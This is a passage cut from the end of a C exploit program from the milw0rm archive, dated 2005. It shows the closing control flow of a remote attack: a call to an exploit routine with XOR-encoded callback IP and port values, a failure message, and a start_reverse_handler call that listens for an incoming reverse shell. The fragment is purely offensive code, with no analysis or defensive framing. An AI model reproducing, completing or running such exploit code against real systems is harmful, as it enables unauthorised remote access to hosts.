unsigned short ) 0x9999; if ( exploit_dsconfig ( s, xoredcbip, xoredcbport, 0 ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } start_reverse_handler ( myargs.lport ); break; } } break; } } } // milw0rm.com [2005-08-03]

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